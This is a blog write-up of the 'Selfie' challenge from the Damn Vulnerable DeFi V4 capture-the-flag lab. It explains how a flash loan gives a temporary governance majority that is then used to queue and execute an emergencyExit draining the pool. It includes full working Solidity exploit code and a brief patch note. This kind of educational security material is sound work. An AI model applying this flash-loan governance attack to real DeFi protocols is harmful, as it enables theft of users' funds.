Damn Vulnerable DeFi V4 - 06 Selfie
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)

Challenge
A new lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million at risk.
Rescue all funds from the pool and deposit them into the designated recovery account.
Solve
This challenge has two contracts:
SelfiePool
contractSimpleGovernance
contract
Our goal is to drain SelfiePool
's token balance, transfer all tokens to the designated recovery account.
We can easily observe that our goal is to call the SelfiePool.emergencyExit()
function successfully, because the SelfiePool.flashLoan()
function required us to repay.
function flashLoan(IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data)
external
nonReentrant
returns (bool)
{
if (_token != address(token)) {
revert UnsupportedCurrency();
}
token.transfer(address(_receiver), _amount);
if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
if (!token.transferFrom(address(_receiver), address(this), _amount)) {
revert RepayFailed();
}
return true;
}
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit EmergencyExit(receiver, amount);
}
In order to call SelfiePool.emergencyExit()
function, we must call it via SimpleGovernance
contract.
modifier onlyGovernance() {
if (msg.sender != address(governance)) {
revert CallerNotGovernance();
}
_;
}
In order to make SimpleGovernance
call arbitrary contract, we must make SimpleGovernance.executeAction()
execute successfully.
function executeAction(uint256 actionId) external payable returns (bytes memory) {
if (!_canBeExecuted(actionId)) {
revert CannotExecute(actionId);
}
GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);
emit ActionExecuted(actionId, msg.sender);
return actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value);
}
In order to make SimpleGovernance.executeAction()
execute successfully, we have to propose an action and wait for 2 days to make the proposal mature.
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = _actions[actionId];
if (actionToExecute.proposedAt == 0) return false;
uint64 timeDelta;
unchecked {
timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
}
return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
}
In order to propose an action, we need to hold enough voting tokens.
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender)) { //@audit-info must hold enough voting token!
revert NotEnoughVotes(msg.sender);
}
if (target == address(this)) {
revert InvalidTarget();
}
if (data.length > 0 && target.code.length == 0) {
revert TargetMustHaveCode();
}
actionId = _actionCounter;
_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});
unchecked {
_actionCounter++;
}
emit ActionQueued(actionId, msg.sender);
}
How many voting tokens are enough? It’s 50% of the total supply.
function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _votingToken.getVotes(who);
uint256 halfTotalSupply = _votingToken.totalSupply() / 2;
return balance > halfTotalSupply;
}
Who has the most supply of tokens? The SelfiePool
contract!
function setUp() public {
startHoax(deployer);
// Deploy token
token = new DamnValuableVotes(TOKEN_INITIAL_SUPPLY);
// Deploy governance contract
governance = new SimpleGovernance(token);
// Deploy pool
pool = new SelfiePool(token, governance);
// Fund the pool
token.transfer(address(pool), TOKENS_IN_POOL); //@audit-info here
vm.stopPrank();
}
Let’s summarize the attack steps:
Make a
SelfiePool.flashLoan(…)
call to borrow at least 50% of the total supply.
This allows us to have enough tokens to queue an action.Queue a malicious action.
queueAction(address target, uint128 value, bytes calldata data) target = SelfiePool value = 0 data = "emergencyExit(receiver=recovery)"
Wait 2 days to make the queued action become mature.
vm.warp(2 days + 1);
Execute the matured action.
Full solution code:
function test_selfie() public checkSolvedByPlayer {
Hack hack = new Hack(token, governance, pool, recovery);
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
pool.flashLoan(hack, address(token), TOKENS_IN_POOL, data);
vm.warp(2 days + 1);
governance.executeAction(1);
}
//==================================================================
contract Hack is IERC3156FlashBorrower {
DamnValuableVotes _token;
SimpleGovernance governance;
SelfiePool pool;
address recovery;
constructor(DamnValuableVotes token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) {
_token = token;
governance = _governance;
pool = _pool;
recovery = _recovery;
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external override returns (bytes32) {
_token.delegate(address(this));
governance.queueAction(address(pool), 0, data);
IERC20(token).approve(msg.sender, type(uint256).max);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
Potential Patches
The SimpleGovernance.queueAction()
function should keep the voting token until the action has been executed.
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣